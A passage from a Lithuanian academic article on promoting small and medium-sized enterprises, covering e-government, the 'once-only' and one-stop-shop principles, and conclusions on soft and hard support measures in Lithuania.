rengiamos taisyklės, įskaitant „vieno karto“ principą, arba naudojamos tokios
priemonės kaip e. valdžia ir „vieno langelio“ principu pagrįsti sprendimai. Nors tiek
Komisija, tiek valstybės narės vis labiau stengiasi, kad šis principas būtų įgyvendintas,
kad jis būtų taikomas sistemingiau [7, p. 6, 7]. Reikia stengtis, kad valstybinės įstaigos
labiau atsižvelgtų į SVĮ poreikius, dažniau naudotis e. valdžios sprendimais, kad būtų
kuo daugiau e. paslaugų. Nuolat siekti e. valdžios priemonėmis mažinti administracinę
naštą, tobulinti organizacines procedūras ir skatinti kurti darnią mažo anglies dioksido
kiekio technologijų ekonomiką [8, p. 3]. Be to, Komisija kartu su valstybėmis narėmis
sieks toliau plėtoti kontaktinius centrus, kad iš esmės palengvintų tokias procedūras ir
kad jie taptų patogiais e. valdžios portalais, kuriuose elektroniniu būdu būtų galima
įvykdyti visus būtinus administracinius reikalavimus, taip pat tarpvalstybines
procedūras [8, p. 7].
Kai kurios vyriausybės remia SVĮ internacionalizavimą, pavyzdžiui, teikia
finansinę paramą eksportui skatinti, patekimo į rinką strategijoms kurti ir dalyvauti
prekybos mugėse. Tarp šių šalių yra ir Lietuva. ES siekiama skatinti taikyti „vieno
karto“ principą, pagal kurį valdžios institucijos ir administravimo įstaigos turėtų
vengti prašyti pateikti tą pačią informaciją, duomenis, dokumentus ar sertifikatus,
kurie joms jau buvo pateikti atliekant kitas procedūras.

                 </p>
 SVĮ yra ekonomikos variklis ES. Jos sudaro didžiausią dalį ekonomikos, kuria
dideles pajamas. Tačiau Lietuvoje SVĮ potencialas nėra visiškai panaudojamas dėl
nelabai palankios situacijos verslui, vertinant ją kompleksiniu požiūriu. Didžiausias
SVĮ potencialas siejamas su jaunąja karta, kuri sąmoningai ir tikslingai motyvuota
kurti verslą.
2. Vienu svarbiausių elementų, skatinančių SVĮ, išlieka valdžios sektorius ir jo
veiksmingumas, teikiant viešąsias paslaugas, skirtas verslui. Pagrindiniai SVĮ kūrimą
ir plėtojimą skatinantys veiksniai yra įmonės steigimas, turto registravimas, statybos
leidimų išdavimas, elektros įsivedimas, kreditų sąlygos, investuotojų apsauga,
mokesčiai, prekyba per sienas, nemokumo problemų sprendimas, sutarčių vykdymas.
Šias sritis reguliuoja valstybė ir teikia viešąsias paslaugas, kurios yra vertinamos pagal
paslaugų kainą, procedūrų kiekį ir trukmę. Lietuvoje prasčiausia situacija yra steigiant
įmonę. Gerasis pavyzdys kitoms valstybėms Lietuva gali būti turto registravimo
srityje.
3. SVĮ skatinančių priemonių yra gausu, tačiau „minkštosiomis“ priemonėmis
galima įvardyti visą ugdymo ir švietimo, mokymo ir konsultavimo sistemą. Čia didelis
ir reikšmingas vaidmuo tenka universitetams ir tyrėjams, dirbantiems verslumo tyrimų
ir viešinimo, įgūdžių lavinimo ir žinių teikimo srityje. Be galo svarbu yra skatinti 
146 Jolita Grėblikaitė, Neriga Puškoriūtė. Smulkių ir vidutinių įmonių skatinimas ...
verslo ir švietimo sektorių bendradarbiavimą, siekiant propaguoti naujas inovatyvias
idėjas, komercinti ir taikyti jas praktikoje.
4. Prie SVĮ skatinančių „kietųjų“ priemonių yra priskiriami konsultavimas ir
pagalba steigiant įmonę, verslo pradžios finansavimas, mokestinės lengvatos ir parama
verslui plėtoti. Atlikti tyrimai rodo, kad Lietuvoje finansavimo šaltinių trūkumas yra
verslo pradžios problema, ypač skatinant jaunimo verslumą. Pradedantiems
verslininkams finansavimo šaltiniai nėra gana patrauklūs, nes santykinai yra aukšti
vertinimo kriterijai, sudėtingas administravimas ir pan. Skatinant SVĮ, Lietuvos
valstybė yra nustačiusi mokesčių lengvatas verslui. Verslininkai turi galimybę
pasinaudoti ir ES finansuojamomis struktūrinėmis priemonėmis arba kitomis ES
lėšomis finansuojamomis priemonėmis.
5. Tobulinant viešojo sektoriaus teikiamas paslaugas verslui svarbu yra
atsižvelgti į šių paslaugų administravimo tobulinimą. Būtina gerinti šių paslaugų
prieinamumą „vieno langelio“ principu. Ypač tobulintinomis sritimis Lietuvoje galima
įvardyti e. paslaugų teikimą verslui, SVĮ dalyvavimą viešojo pirkimo konkursuose, ES
paramos administravimo supaprastinimą, taip pat bankroto procedūros supaprastinimą.
Be galo svarbus integruotas, kompleksinis požiūris į SVĮ skatinimą šalies mastu.  

</p>
				</div>
			</div>



			<!-- CONTENT END -->

			
		</div>
	</div>


	<footer>
		<div class="container">
			<div class="copy">
				<div><a href="#">Политика Конфеденциальности</a> <a href="#">Условия пользования</a></div>
				<span>© 2019 Copyright. All rights reserved.</span>
			</div>
		</div>
	</footer>

	<script src="assets/scripts.min.js"></script>
</body>

</html>
